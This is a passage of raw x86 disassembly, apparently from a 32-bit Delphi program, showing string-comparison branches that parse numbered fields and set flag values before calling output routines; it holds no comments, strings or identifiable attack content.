mov eax, dword [ebp - 0x1268]
mov edx, 0x5ad7b4
call fcn.00405e6c
jne 0x59ceaa
mov eax, dword [ebp - 0x650]
call fcn.004c2738
mov edx, eax
or dx, word [0x5ae218]
mov eax, dword [ebp - 0x650]
call fcn.004c2b50
lea eax, [ebp - 0x1278]
push eax
lea ecx, [ebp - 0x127c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x127c]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1278]
lea edx, [ebp - 0x1274]
call fcn.0058feb0
mov eax, dword [ebp - 0x1274]
mov edx, 0x5ad7b4
call fcn.00405e6c
jne 0x59cf1e
mov eax, dword [ebp - 0x650]
call fcn.004c2738
mov edx, eax
or dx, word [0x5ae21c]
mov eax, dword [ebp - 0x650]
call fcn.004c2b50
mov eax, dword [ebp - 0x650]
call fcn.004c2840
call fcn.004c2e54
mov eax, dword [ebp - 0x650]
call fcn.004c2840
call fcn.004c2dbc
mov dword [ebp - 0x654], eax
lea eax, [ebp - 0x1284]
push eax
lea ecx, [ebp - 0x1288]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1288]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1284]
lea edx, [ebp - 0x1280]
call fcn.0058feb0
mov eax, dword [ebp - 0x1280]
mov edx, 0x5ad7b4
call fcn.00405e6c
jne 0x59d3b6
mov dl, 2
mov eax, dword [ebp - 0x654]
call fcn.004c31e8
lea edx, [ebp - 0x51c]
mov eax, 0x409
call fcn.00410a44
xor eax, eax
push ebp
push 0x59d038
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1290]
push eax
lea ecx, [ebp - 0x1294]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1294]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1290]
lea edx, [ebp - 0x128c]
call fcn.0058feb0
mov eax, dword [ebp - 0x128c]
lea edx, [ebp - 0x51c]
call fcn.0040e9f0
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x654]
call fcn.004c31c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59d059
mov word [ebp - 0x65c], 1
push 1
push 1
lea eax, [ebp - 0x129c]
push eax
lea ecx, [ebp - 0x12a0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12a0]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x129c]
lea edx, [ebp - 0x1298]
call fcn.0058feb0
mov edx, dword [ebp - 0x1298]
xor ecx, ecx
mov eax, 0x5ae228
call fcn.004ad7a0
test eax, eax
je 0x59d0cd
mov word [ebp - 0x65a], 2
jmp 0x59d3b6
push 1
push 1
lea eax, [ebp - 0x12a8]
push eax
lea ecx, [ebp - 0x12ac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12ac]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x12a8]
lea edx, [ebp - 0x12a4]
call fcn.0058feb0
mov edx, dword [ebp - 0x12a4]
xor ecx, ecx
mov eax, 0x5ae238
call fcn.004ad7a0
test eax, eax
je 0x59d138
mov word [ebp - 0x65a], 4
jmp 0x59d3b6
push 1
push 1
lea eax, [ebp - 0x12b4]
push eax
lea ecx, [ebp - 0x12b8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12b8]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x12b4]
lea edx, [ebp - 0x12b0]
call fcn.0058feb0
mov edx, dword [ebp - 0x12b0]
xor ecx, ecx
mov eax, 0x5ae248
call fcn.004ad7a0
test eax, eax
je 0x59d1a3
mov word [ebp - 0x65a], 8
jmp 0x59d3b6
push 1
push 1
lea eax, [ebp - 0x12c0]
push eax
lea ecx, [ebp - 0x12c4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12c4]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x12c0]
lea edx, [ebp - 0x12bc]
call fcn.0058feb0
mov edx, dword [ebp - 0x12bc]
xor ecx, ecx
mov eax, 0x5ae25c
call fcn.004ad7a0
test eax, eax
je 0x59d20e
mov word [ebp - 0x65a], 0x10
jmp 0x59d3b6
push 1
push 1
lea eax, [ebp - 0x12cc]
push eax
lea ecx, [ebp - 0x12d0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12d0]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x12cc]
lea edx, [ebp - 0x12c8]
call fcn.0058feb0
mov edx, dword [ebp - 0x12c8]
xor ecx, ecx
mov eax, 0x5ae270
call fcn.004ad7a0
test eax, eax
je 0x59d279
mov word [ebp - 0x65a], 0x20
jmp 0x59d3b6
push 1
push 1
lea eax, [ebp - 0x12d8]
push eax
lea ecx, [ebp - 0x12dc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12dc]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x12d8]
lea edx, [ebp - 0x12d4]
call fcn.0058feb0
mov edx, dword [ebp - 0x12d4]
xor ecx, ecx
mov eax, 0x5ae280
call fcn.004ad7a0
test eax, eax
je 0x59d2e4
mov word [ebp - 0x65a], 0x40
jmp 0x59d3b6
push 1
push 1
lea eax, [ebp - 0x12e4]
push eax
lea ecx, [ebp - 0x12e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12e8]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x12e4]
lea edx, [ebp - 0x12e0]
call fcn.0058feb0
mov edx, dword [ebp - 0x12e0]
xor ecx, ecx
mov eax, 0x5ae294
call fcn.004ad7a0
test eax, eax
je 0x59d34c
mov word [ebp - 0x65a], 1
jmp 0x59d3b6
push 1
push 1
lea eax, [ebp - 0x12f0]
push eax
lea ecx, [ebp - 0x12f4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x12f4]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x12f0]
lea edx, [ebp - 0x12ec]
call fcn.0058feb0
mov edx, dword [ebp - 0x12ec]
xor ecx, ecx
mov eax, 0x5ae2a4
call fcn.004ad7a0
test eax, eax
je 0x59d3b6
mov dl, 1
mov eax, dword [ebp - 0x654]
call fcn.004c31e8
lea eax, [ebp - 0x12fc]
push eax
lea ecx, [ebp - 0x1300]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1300]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x12fc]
lea edx, [ebp - 0x12f8]
call fcn.0058feb0
mov eax, dword [ebp - 0x12f8]
mov edx, 0x5ad7b4
call fcn.00405e6c
jne 0x59d418
mov dl, 7
mov eax, dword [ebp - 0x654]
call fcn.004c31e8
lea eax, [ebp - 0x1308]
push eax
lea ecx, [ebp - 0x130c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x130c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1308]
lea edx, [ebp - 0x1304]
call fcn.0058feb0
mov eax, dword [ebp - 0x1304]
mov edx, 0x5ad7b4
call fcn.00405e6c
jne 0x59d47a
mov dl, 6
mov eax, dword [ebp - 0x654]
call fcn.004c31e8
call fcn.0040d2b4
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x654]
call fcn.004c3198
lea edx, [ebp - 0x65c]
mov eax, dword [ebp - 0x654]
call fcn.004c31b8
mov eax, dword [ebp - 0x654]
call fcn.004c31ec
mov eax, dword [ebp - 0x650]
call fcn.004c2840
call fcn.004c30dc
lea eax, [ebp - 0x1314]
push eax
lea ecx, [ebp - 0x1318]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1318]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1314]
lea edx, [ebp - 0x1310]
call fcn.0058feb0
mov edx, dword [ebp - 0x1310]
lea eax, [ebp - 0x444]
call fcn.004063e4
lea eax, [ebp - 0x1320]
push eax
lea ecx, [ebp - 0x1324]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1324]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1320]
lea edx, [ebp - 0x131c]
call fcn.0058feb0
mov edx, dword [ebp - 0x131c]
lea eax, [ebp - 0x448]
call fcn.004063e4
mov ecx, dword [ebp - 0x448]
mov edx, dword [ebp - 0x444]
mov eax, dword [ebp - 0x650]
call fcn.004c2980
xor eax, eax
push ebp
push 0x59d59f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x650]
call fcn.004c28c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59d5a9
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c1d24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59d5cf
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae2b8
call fcn.00405e6c
jne 0x59d864
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1328]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x1328]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0x132c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x132c]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
cmp dword [0x5dbd74], 2
jne 0x59d78d
lea ecx, [ebp - 0x1330]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x1330], 0
je 0x59d78d
xor eax, eax
push ebp
push 0x59d734
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x609]
push eax
lea ecx, [ebp - 0x1334]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x1334]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.005901ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59d78d
lea eax, [ebp - 0x133c]
push eax
lea ecx, [ebp - 0x1340]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1340]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x133c]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0x1344]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1344]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x1348]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1348]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x134c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x134c]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x1350]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1350]
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae2d0
call fcn.00405e6c
jne 0x59dad5
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1354]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x1354]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0x1358]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x1358]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
cmp dword [0x5dbd74], 2
jne 0x59d9fe
lea ecx, [ebp - 0x135c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x135c], 0
je 0x59d9fe
xor eax, eax
push ebp
push 0x59d9a5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x609]
push eax
lea ecx, [ebp - 0x1360]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x1360]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.005901ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59d9fe
lea eax, [ebp - 0x1368]
push eax
lea ecx, [ebp - 0x136c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x136c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1368]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0x1370]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1370]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x1374]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1374]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x1378]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1378]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x137c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x137c]
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae2ec
call fcn.00405e6c
jne 0x59dd9b
lea eax, [ebp - 0x1380]
push eax
lea ecx, [ebp - 0x1384]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1384]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1380]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x59dba7
push 0
lea eax, [ebp - 0x138c]
push eax
lea eax, [ebp - 0x1390]
push eax
lea ecx, [ebp - 0x1394]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1394]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x1390]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x138c]
lea edx, [ebp - 0x1388]
call fcn.00593948
mov edx, dword [ebp - 0x1388]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1398]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x1398]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0x139c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x139c]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
lea edx, [ebp - 0x13a0]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov eax, dword [ebp - 0x13a0]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x13a4]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x13a4]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x13a8]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x13a8]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x13ac]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov eax, dword [ebp - 0x13ac]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x13b0]
push eax
lea ecx, [ebp - 0x13b4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x13b4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x13b0]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0x13b8]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x13b8]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0x13bc]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x13bc]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0x13c0]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x13c0]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x13c4]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x13c4]
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae304
call fcn.00405e6c
jne 0x59de44
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
lea eax, [ebp - 0x13c8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x13c8]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0x13cc]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x13cc]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae31c
call fcn.00405e6c
jne 0x59e0b5
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x13d0]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x13d0]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0x13d4]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x13d4]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
cmp dword [0x5dbd74], 2
jne 0x59dfde
lea ecx, [ebp - 0x13d8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x13d8], 0
je 0x59dfde
xor eax, eax
push ebp
push 0x59df85
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x609]
push eax
lea ecx, [ebp - 0x13dc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x13dc]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.005901ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59dfde
lea eax, [ebp - 0x13e4]
push eax
lea ecx, [ebp - 0x13e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x13e8]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x13e4]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0x13ec]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x13ec]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x13f0]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x13f0]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x13f4]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x13f4]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x13f8]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x13f8]
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae338
call fcn.00405e6c
jne 0x59ec28
lea eax, [ebp - 0x13fc]
push eax
lea ecx, [ebp - 0x1400]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1400]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x13fc]
lea edx, [ebp - 0x3d0]
call fcn.00593948
lea eax, [ebp - 0x1404]
push eax
lea ecx, [ebp - 0x1408]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1408]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1404]
lea edx, [ebp - 0x3d4]
call fcn.00593948
lea eax, [ebp - 0x140c]
push eax
lea ecx, [ebp - 0x1410]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1410]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x140c]
lea edx, [ebp - 0x3d8]
call fcn.00593948
lea eax, [ebp - 0x1414]
push eax
lea ecx, [ebp - 0x1418]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1418]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1414]
lea edx, [ebp - 0x3dc]
call fcn.00593948
lea eax, [ebp - 0x141c]
push eax
lea ecx, [ebp - 0x1420]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1420]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x141c]
lea edx, [ebp - 0x3e0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x59e457
push 0
lea eax, [ebp - 0x1428]
push eax
lea eax, [ebp - 0x142c]
push eax
lea ecx, [ebp - 0x1430]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1430]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x142c]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x1428]
lea edx, [ebp - 0x1424]
call fcn.00593948
mov edx, dword [ebp - 0x1424]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
push 0
lea eax, [ebp - 0x1438]
push eax
lea eax, [ebp - 0x143c]
push eax
lea ecx, [ebp - 0x1440]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1440]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x143c]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b24d0
mov eax, dword [ebp - 0x1438]
lea edx, [ebp - 0x1434]
call fcn.00593948
mov edx, dword [ebp - 0x1434]
lea eax, [ebp - 0x3d4]
call fcn.00405adc
push 0
lea eax, [ebp - 0x1448]
push eax
lea eax, [ebp - 0x144c]
push eax
lea ecx, [ebp - 0x1450]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1450]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x144c]
mov ecx, 3
mov eax, dword [ebp - 0x3d8]
